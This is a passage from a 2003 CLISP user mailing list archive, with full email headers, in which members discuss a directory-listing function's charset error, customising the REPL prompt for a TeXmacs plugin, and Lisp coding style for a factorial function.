mailinglist) stupid problems like this? --------begin. [65]> (defun dirs (x &key depth) (let ((c '())) (flet ((wildir (d) (directory (concatenate 'string (directory-namestring d) "*/")))) (if (null depth) (labels ((f (d) (mapcar #'f (wildir d)) (push d c))) (cdr (f x))) (labels ((f (d i) (cond ((<= i depth) (mapcar #'(lambda (o) (f o (1+ i))) (wildir d)) (push d c))))) (cdr (f x 0))))))) DIRS [66]> (length (dirs #P"/7/etc/" :depth 1)) 40 [67]> (length (dirs #P"/7/" :depth 1)) *** - invalid byte #xB3 in CHARSET:ASCII conversion <=== !problem <====== 1. Break [68]> :q [69]> (dir "/7/*/") /7/A/ /7/A3/ /7/ART/ /7/ARTGEN/ /7/ARTYKUL.2/ /7/ARTYKUL.3/ /7/CLIKI/ /7/anime/ /7/bckup.5/ /7/bg/ /7/documentation/ /7/emacs-21.3/ /7/etc/ /7/flena/ /7/gg-history/ /7/libIDL-0.8.2/ /7/mail/ /7/mod/ /7/mozilla-bookmarks/ /7/musick/ /7/ninja/ /7/osiolek/ /7/rfan/ /7/sources/ /7/techno/ /7/temp/ /7/torrents/ /7/xforms-1.0/ [70]> #'dirs # --------end. From mgraffam@mathlab.sunysb.edu Thu Nov 27 09:54:49 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1APQLp-0008Rl-00 for ; Thu, 27 Nov 2003 09:54:49 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1APQLo-0004Dk-Ts for clisp-list@lists.sourceforge.net; Thu, 27 Nov 2003 09:54:49 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id hARHslWO000529 for ; Thu, 27 Nov 2003 12:54:47 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id hARHsl0K000526 for ; Thu, 27 Nov 2003 12:54:47 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CLisp prompts Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 27 09:55:06 2003 X-Original-Date: Thu, 27 Nov 2003 12:54:47 -0500 (EST) Hello all, I'm new to Lisp, so please be gentle. Could someone please help me out with changing clisp's command line prompts? I can't seem to redefine the system::prompt-string functions. I can do it by setting the *prompt* variable, but this has the undesired effect of always placing a '>' (system::prompt-string3) after my prompt. Can I get complete control over the prompt? I'd like to embed some character coding into it (to establish a connection with TeXmacs). I'd like to construct the following prompt (\002 is ASCII 2, etc) \002channel:prompt\005*PROMPT*\005 *PROMPT* would be the displayed text of the prompt -- the usual clisp strings would be fine. I just don't want anything after the final \005 From pascal@informatimago.com Thu Nov 27 10:28:35 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1APQsV-0002Vc-00 for ; Thu, 27 Nov 2003 10:28:35 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1APQsU-00005k-K8 for clisp-list@lists.sourceforge.net; Thu, 27 Nov 2003 10:28:35 -0800 Received: from thalassa.informatimago.com (unknown [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E82EE586E2; Thu, 27 Nov 2003 19:28:26 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B465B382DB; Thu, 27 Nov 2003 19:28:22 +0100 (CET) Message-ID: <16326.16966.625531.725593@thalassa.informatimago.com> To: Michael Graffam Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] CLisp prompts In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 27 10:29:03 2003 X-Original-Date: Thu, 27 Nov 2003 19:28:22 +0100 Michael Graffam writes: > > Hello all, > > I'm new to Lisp, so please be gentle. > > Could someone please help me out with changing clisp's command line > prompts? > > I can't seem to redefine the system::prompt-string functions. I can do it > by setting the *prompt* variable, but this has the undesired > effect of always placing a '>' (system::prompt-string3) after my prompt. > > Can I get complete control over the prompt? I'd like to embed some > character coding into it (to establish a connection with TeXmacs). > > I'd like to construct the following prompt (\002 is ASCII 2, etc) > > \002channel:prompt\005*PROMPT*\005 > > *PROMPT* would be the displayed text of the prompt -- the usual clisp > strings would be fine. I just don't want anything after the final \005 In my copy of CLisp implementation notes, it's written: The variable CUSTOM:*PROMPT* controls the appearance of the prompt. When its value is a function, it is called and its value is printed with PRINC. Otherwise, the value itself is printed with PRINC. The default value of CUSTOM:*PROMPT* prints "package[n]> " where package is the shortest (nick)name of the current package *PACKAGE* if it is the same as it was in the beginning or if it does not contain symbol T (it is assumed that in the latter case you would want to keep in mind that your current package is something weird); and n is the ordinal number of the current prompt (hopefully, it will remain finite). To help you in constructing your own fancy prompts, two functions and one variable are provided: function EXT:PROMPT-NEW-PACKAGE returns *PACKAGE* or NIL if the current package is the same as it was initially function EXT:PACKAGE-SHORT-NAME takes one argument, a package, and returns its shortest name or nickname variable EXT:*COMMAND-INDEX* contains the current prompt number; it is your responsibility to increment it (this variable is bound to 0 before saving the memory image). There is no mention of SYSTEM::PROMPT-STRING In any case, the '::' should have alterted you on the PRIVATE nature of SYSTEM::PROMPT-STRING, that is of the informal INTERDICTION of accessing and modifying it. Personnaly, I've got no problem in changing the value of CUSTOM:*PROMPT* [29]> (let ((my-counter 0)) (defun my-prompt () (format nil "~D ---> " (incf my-counter)))) MY-PROMPT [30]> (setf custom:*prompt* (function my-prompt)) # " (INCF MY-COUNTER)))> 1 ---> > For the " >" returned by SYSTEM::PROMPT-STRING3, I see no documentation about how to prevent it, but you can always redefine this function: 5 ---> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM") (defun SYSTEM::PROMPT-STRING3 () "")) SYSTEM::PROMPT-STRING3 6 ---> "Hello World!" "Hello World!" 7 ---> -- __Pascal_Bourguignon__ http://www.informatimago.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Living free in Alaska or in Siberia, a grizzli's life expectancy is 35 years, but no more than 8 years in captivity. http://www.theadvocates.org/ From mgraffam@mathlab.sunysb.edu Thu Nov 27 13:23:50 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1APTc5-00064t-00 for ; Thu, 27 Nov 2003 13:23:50 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1APTc5-0001yu-Hy for clisp-list@lists.sourceforge.net; Thu, 27 Nov 2003 13:23:49 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id hARLNjWO007844; Thu, 27 Nov 2003 16:23:45 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id hARLNhNQ007841; Thu, 27 Nov 2003 16:23:45 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: "Pascal J.Bourguignon" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLisp prompts In-Reply-To: <16326.16966.625531.725593@thalassa.informatimago.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 27 13:24:14 2003 X-Original-Date: Thu, 27 Nov 2003 16:23:43 -0500 (EST) On Thu, 27 Nov 2003, Pascal J.Bourguignon wrote: > 5 ---> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM") > (defun SYSTEM::PROMPT-STRING3 () "")) Thank you! That was the key to my problem. Would you happen to know how to suppress the warnings generated by that code? I redefine the prompt in an initialization file, and I'd like to suppress the warnings during startup. This is great, though. Thanks again for your help. I now have CLisp running as a plugin to GNU TeXmacs (www.texmacs.org). This will likely be in the next development release of TeXmacs in a few days. Next up is to get some Lisp code written that generates TeXmacs markup (I'm looking forward to viewing Lisp programs graphically in TeXmacs!) Of course, TeXmacs can render LaTeX too, so existing Lisp code will prove useful. From pascal@informatimago.com Thu Nov 27 13:48:36 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1APU04-0007st-00 for ; Thu, 27 Nov 2003 13:48:36 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1APU03-0004Yd-2R for clisp-list@lists.sourceforge.net; Thu, 27 Nov 2003 13:48:35 -0800 Received: from thalassa.informatimago.com (unknown [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 438F6586E2; Thu, 27 Nov 2003 22:48:17 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 955D0382DC; Thu, 27 Nov 2003 22:48:09 +0100 (CET) Message-ID: <16326.28953.540421.558660@thalassa.informatimago.com> To: Michael Graffam Cc: "Pascal J.Bourguignon" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLisp prompts In-Reply-To: References: <16326.16966.625531.725593@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 27 13:49:06 2003 X-Original-Date: Thu, 27 Nov 2003 22:48:09 +0100 Michael Graffam writes: > > > On Thu, 27 Nov 2003, Pascal J.Bourguignon wrote: > > > 5 ---> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM") > > (defun SYSTEM::PROMPT-STRING3 () "")) > > Thank you! That was the key to my problem. > > Would you happen to know how to suppress the warnings generated by that > code? I redefine the prompt in an initialization file, and I'd like to > suppress the warnings during startup. What do you mean? The point of EXT:WITHOUT-PACKAGE-LOCK is to avoid any warning about redefining a function in a locked package. [8]> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM") (defun SYSTEM::PROMPT-STRING3 () "")) SYSTEM::PROMPT-STRING3 [9] What warning do you get? > This is great, though. Thanks again for your help. > > I now have CLisp running as a plugin to GNU TeXmacs (www.texmacs.org). > This will likely be in the next development release of TeXmacs in a few > days. Next up is to get some Lisp code written that generates TeXmacs > markup (I'm looking forward to viewing Lisp programs graphically in > TeXmacs!) > > Of course, TeXmacs can render LaTeX too, so existing Lisp code will prove > useful. That's nice to see more applications using common-lisp (instead of scheme/guile) as an extension language! -- __Pascal_Bourguignon__ http://www.informatimago.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Living free in Alaska or in Siberia, a grizzli's life expectancy is 35 years, but no more than 8 years in captivity. http://www.theadvocates.org/ From mgraffam@mathlab.sunysb.edu Fri Nov 28 03:10:42 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1APgWI-0004FW-00 for ; Fri, 28 Nov 2003 03:10:42 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1APgWI-0003N0-E7 for clisp-list@lists.sourceforge.net; Fri, 28 Nov 2003 03:10:42 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id hASBAMWO003953; Fri, 28 Nov 2003 06:10:22 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id hASBAHNT003950; Fri, 28 Nov 2003 06:10:21 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: "Pascal J.Bourguignon" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLisp prompts In-Reply-To: <16326.28953.540421.558660@thalassa.informatimago.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 28 03:11:04 2003 X-Original-Date: Fri, 28 Nov 2003 06:10:17 -0500 (EST) On Thu, 27 Nov 2003, Pascal J.Bourguignon wrote: > What do you mean? The point of EXT:WITHOUT-PACKAGE-LOCK is to avoid > any warning about redefining a function in a locked package. > > [8]> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM") (defun SYSTEM::PROMPT-STRING3 () "")) > SYSTEM::PROMPT-STRING3 > [9] > > What warning do you get? WARNING: DEFUN/DEFMACRO: redefining function SYSTEM::PROMPT-STRING1 in /usr/share/TeXmacs/plugins/clisp/lisp/texmacsrc.lisp, was defined in /var/tmp/bach-build/BUILD/clisp-2.31/src/reploop.fas WARNING: DEFUN/DEFMACRO: redefining function SYSTEM::PROMPT-STRING2 in /usr/share/TeXmacs/plugins/clisp/lisp/texmacsrc.lisp, was defined in /var/tmp/bach-build/BUILD/clisp-2.31/src/reploop.fas WARNING: DEFUN/DEFMACRO: redefining function SYSTEM::PROMPT-STRING3 in /usr/share/TeXmacs/plugins/clisp/lisp/texmacsrc.lisp, was defined in /var/tmp/bach-build/BUILD/clisp-2.31/src/reploop.fas From mgraffam@mathlab.sunysb.edu Sat Nov 29 18:20:17 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQHC5-0001mm-00 for ; Sat, 29 Nov 2003 18:20:17 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AQHC5-0007JH-Gz for clisp-list@lists.sourceforge.net; Sat, 29 Nov 2003 18:20:17 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id hAU2K8WO022471 for ; Sat, 29 Nov 2003 21:20:08 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id hAU2K7Go022468 for ; Sat, 29 Nov 2003 21:20:08 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Lisp coding style Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 29 18:21:02 2003 X-Original-Date: Sat, 29 Nov 2003 21:20:07 -0500 (EST) This is question might be a bit too general, but I really don't know where else to ask. Is there an online resource with snippets of simple Lisp code that aims to teach good Lisp style? I'm an old C hand, so I tend to do stuff like this: (defun factorial (n) (if (< n 2) 1 (* n (factorial (- n 1))) ) ) but this is confusing even to me :), and I understand that most everyone finds it ugly. I'm committed to learning Lisp and doing it well, but I don't want to pick up bad habits along the way. On the other hand, I just assume dig in and get my hands dirty -- table manners be damned. From lists@consulting.net.nz Sat Nov 29 19:19:02 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQI6w-0004oT-00 for ; Sat, 29 Nov 2003 19:19:02 -0800 Received: from ip202-36-23-202.ip.splice.net.nz ([202.36.23.202] helo=ip202.36.23.202.ip.win.co.nz) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AQI6v-0001XN-Hc for clisp-list@lists.sourceforge.net; Sat, 29 Nov 2003 19:19:01 -0800 Received: from ip202-36-23-202.ip.splice.net.nz [202.36.23.202]; Sun, 30 Nov 2003 16:18:10 +1300 Subject: Re: [clisp-list] Lisp coding style From: Adam Warner To: Michael Graffam Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain Message-Id: <1070162291.1604.2.camel@note.macrology.co.nz> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 29 19:20:01 2003 X-Original-Date: Sun, 30 Nov 2003 16:18:11 +1300 On Sun, 2003-11-30 at 15:20, Michael Graffam wrote: > This is question might be a bit too general, but I really don't know where > else to ask. The Usenet newsgroup comp.lang.lisp. > Is there an online resource with snippets of simple Lisp code that aims to > teach good Lisp style? This Postscript presentation is outstanding: Regards, Adam From james.anderson@setf.de Sun Nov 30 01:24:08 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQNoG-00055I-00 for ; Sun, 30 Nov 2003 01:24:08 -0800 Received: from postman2.arcor-online.net ([151.189.0.188] helo=postman.arcor.de) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.24) id 1AQNoF-0007bu-Lm for clisp-list@lists.sourceforge.net; Sun, 30 Nov 2003 01:24:07 -0800 Received: from setf.de (dsl-082-082-089-155.arcor-ip.net [82.82.89.155]) (authenticated bits=0) by postman.arcor.de (8.12.9/8.12.9) with ESMTP id hAU9O3gj024603 for ; Sun, 30 Nov 2003 10:24:03 +0100 (MET) Subject: Re: [clisp-list] Lisp coding style Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.552) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 30 01:25:02 2003 X-Original-Date: Sun, 30 Nov 2003 10:23:27 +0100 On Sunday, Nov 30, 2003, at 03:20 Europe/Berlin, Michael Graffam wrote: > > This is question might be a bit too general, but I really don't know > where > else to ask. > Is there an online resource with snippets of simple Lisp code that > aims to > teach good Lisp style? one starting point is: http://www.lisp.org . in particular http://www.lisp.org/table/style.htm and http://www.lisp.org/table/learn.htm. on the other hand, read lisp code. when you do that and you will develop your own criteria. > > I'm an old C hand, so I tend to do stuff like this: > > (defun factorial (n) > (if (< n 2) 1 > (* n (factorial (- n 1))) > ) > ) > if it fits on one line (defun factorial (n) (if (< n 2) 1 (* n (factorial (- n 1))))) or depending on the context even (defun factorial (n) (if (< n 2) 1 (* n (factorial (- n 1))))) otherwise (defun factorial (n) (if (< n 2) 1 (* n (factorial (- n 1))))) From fc@all.net Sun Nov 30 07:42:27 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQTiN-0007hf-00 for ; Sun, 30 Nov 2003 07:42:27 -0800 Received: from red.all.net ([216.135.231.242]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AQTiN-0006VK-9N for clisp-list@lists.sourceforge.net; Sun, 30 Nov 2003 07:42:27 -0800 Received: by red.all.net (Postfix, from userid 101) id CD442CA81A6; Sun, 30 Nov 2003 07:45:44 -0800 (PST) Subject: Re: [clisp-list] Lisp coding style To: clisp-list@lists.sourceforge.net From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20031130154544.CD442CA81A6@red.all.net> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 30 07:43:02 2003 X-Original-Date: Sun, 30 Nov 2003 07:45:44 -0800 (PST) Per the message sent by james anderson: ... > if it fits on one line > (defun factorial (n) > (if (< n 2) 1 (* n (factorial (- n 1))))) > or depending on the context even > (defun factorial (n) (if (< n 2) 1 (* n (factorial (- n 1))))) Finally someone that agrees with me! If I could only get the list autoformatter to undersand how code lines are related it could present them with the relations they deserve. > otherwise > (defun factorial (n) > (if (< n 2) > 1 > (* n (factorial (- n 1))))) But this is not a coding style issue as much as a presentation issue. I thought the question was one of coding style - to wit: (defun factorial (n &aux tmp) (setf tmp 1) (loop for i from 1 to n do (setf tmp (* tmp i))) tmp) FC -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From mgraffam@mathlab.sunysb.edu Sun Nov 30 08:14:52 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AQUDk-0000ti-00 for ; Sun, 30 Nov 2003 08:14:52 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AQUDj-0001eW-MY for clisp-list@lists.sourceforge.net; Sun, 30 Nov 2003 08:14:51 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id hAUGEhWO018205; Sun, 30 Nov 2003 11:14:43 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id hAUGEgkv018202; Sun, 30 Nov 2003 11:14:42 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: cmucl-help@cons.org cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] TeXmacs and Lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 30 08:15:02 2003 X-Original-Date: Sun, 30 Nov 2003 